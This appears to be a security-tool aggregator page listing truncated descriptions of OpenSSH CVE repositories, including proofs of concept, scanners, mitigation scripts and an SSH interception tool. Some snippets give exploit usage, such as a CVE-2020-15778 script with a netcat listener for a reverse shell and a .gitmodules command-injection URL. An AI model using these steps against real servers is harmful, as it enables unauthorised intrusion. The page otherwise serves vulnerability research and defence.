CVE-2023-25136_POC

CVE-2023-25136 POC POC For A Pre Auth Double Free Vulnerability Affecting OpenSSH 9.1 To 9.2 Neccessary libraries Please make sure you have the following dependencies installed: Python 3 duh termcolor argparse fabric You can also install these libraries directly from the included requirements.txt...

CVE-2024-6387

CVE-2024-6387 regreSSHion Proof of concept python script for regreSSHion exploit. Version 0.2.1 build POC Installation root@kitploit: git clone https://github.com/l-urk/CVE-2024-6387.git root@kitploit: cd CVE-2024-6387 root@kitploit: pip3 install -r requirements.txt root@kitploit: python3...

CVE-2024-6387-Check

Comprobador de CVE-2024-6387 CVE-2024-6387 Checker es una herramienta rápida y eficiente para detectar servidores OpenSSH vulnerables al exploit regreSSHion. Escanea rápidamente múltiples IPs, nombres de dominio y rangos CIDR para identificar riesgos y ayudar a asegurar tu infraestructura...

CVE-2024-6387-Vulnerability-Checker

Comprobador de Vulnerabilidad CVE-2024-6387 Descripción general Este script de Python está diseñado para verificar servidores SSH en busca de la vulnerabilidad CVE-2024-6387, apuntando específicamente al recientemente descubierto regreSSHion , que está asociado con versiones específicas de OpenSS...

cve_2023_38408_scanner

cve202338408scanner La vulnerabilidad CVE-2023-38408 afecta a OpenSSH versiones 9.3p2 USO :python cve202338408scanner.py -t ip -p port...

Article-RegreSSHion-CVE-2024-6387

RegreSSHion CVE-2024-6387: Vulnerabilidad Crítica de Ejecución Remota de Código en OpenSSH En una era donde la seguridad digital es crucial, una nueva vulnerabilidad en OpenSSH, identificada como CVE-2024-6387, ha atraído la atención de administradores de sistemas y profesionales de seguridad en...

patch-manual-CVE-2025-26465-e-CVE-2025-26466

🛡️ Mitigación Manual - OpenSSH CVE-2025-26465 & CVE-2025-26466 🔍 Sobre el Script Este script aplica mitigaciones manuales para los problemas de seguridad en OpenSSH , sin la necesidad de actualización inmediata. 🚨 CVE-2025-26465 Elimina VerifyHostKeyDNS para evitar la interceptación de conexiones...

CVE-2024-6387

Script de Mitigación de OpenSSH CVE-2024-6387 Este repositorio contiene un script de Python diseñado para ayudar a los administradores de red a escanear y asegurar las configuraciones SSH contra la vulnerabilidad CVE-2024-6387 encontrada en el mecanismo de manejo de señales de OpenSSH. Esta...

cve-2023-51385

Verify CVE-2023-51385 First, add the following content to /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p There is a command injection in the .gitmodules file statement root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar...

CVE-2024-6387

CVE-2024-6387 Bulk Scanning Tool for OpenSSH CVE-2024-6387 and 19 Other OpenSSH CVEs Overview Introducing a new OpenSSH bulk scanning tool! Quickly scan multiple SSH servers for security vulnerabilities like CVE-2024-6387, CVE-2006-5051, and others. This tool is designed for scanning and reportin...

sentinelssh

SentinelSSH: Escáner Avanzado de Vulnerabilidad CVE-2024-6387 SentinelSSH es un escáner avanzado y de alto rendimiento de vulnerabilidades SSH escrito en Go. Está específicamente diseñado para detectar la vulnerabilidad CVE-2024-6387 en servidores OpenSSH en diversos entornos de red. Instalación...

jfrog-CVE-2023-25136-OpenSSH_Double-Free

CVE-2023-25136 Proof-of-Concept Overview This is a DoS Proof-of-Concept of OpenSSH 9.1p1 Double-Free Vulnerability CVE-2023-25136. It will trigger the double-free and cause an abort crash. For a comprehensive understanding, check out the accompanying blog post for in-depth details. Dependencies...

CVE-2023-25136

CVE-2023-25136 OpenSSH 9.1 vulnerability mass scan and exploit Description OpenSSH server sshd 9.1 introduced a double-free vulnerability during options.kexalgorithms handling. This is fixed in OpenSSH 9.2. The double free can be leveraged, by an unauthenticated remote attacker in the default...

CVE-2024-6387-poc-1

CVE-2024-6387 regreSSHion في OpenSSH الوصف CVE-2024-6387، المُلقبة بـ "regreSSHion"، هي ثغرة أمنية خطيرة في OpenSSH تسمح للمهاجمين عن بُعد غير المصادق عليهم بتنفيذ كود بصلاحيات الجذر root على أنظمة Linux المعرضة للخطر. تنشأ هذه الثغرة من حالة سباق race condition في معالجة الإشارات في مكوّن الخادم...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 命令注入漏洞poc 中文 1.vim /.ssh/config or edit C:/Users/username/.ssh/config on windows system root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit Exploit for CVE-2020-15778OpenSSH vul Example: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 You need to use netcat to listen port before use python script Example: nc -lvp 1234 1.Screenshot of using script 2.Screenshot of get shell 2021-7-21...

ssh_scan

sshscan A SSH configuration and policy scanner ⚠️ Deprecation Notice ⚠️ Mozilla is no longer maintaining the SSH Scan project. Please fork it to continue development. Key Benefits Minimal Dependencies - Uses native Ruby and BinData to do its work, no heavy dependencies. Not Just a Script -...

kexkill

The kexkill utility connects to an SSH server and sends a stream of KEXINIT packets. This may cause certain versions of OpenSSH to consume significant amounts of memory. See CVE-2016-8858 for additional details. The latest version of the source code is available from Github:...

OpenSSH-Vulnerability-test

OpenSSH CVE-2024-6387 Vulnerability Checker Overview This C program scans specified IP addresses or network ranges to check if the servers are running a potentially vulnerable version of OpenSSH. It checks if the SSH port default is 22 is open, retrieves the SSH banner, and determines if the serv...

ssh-mitm

SSH MITM v2.3-dev Author: Joe Testa @therealjoetesta Overview This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and...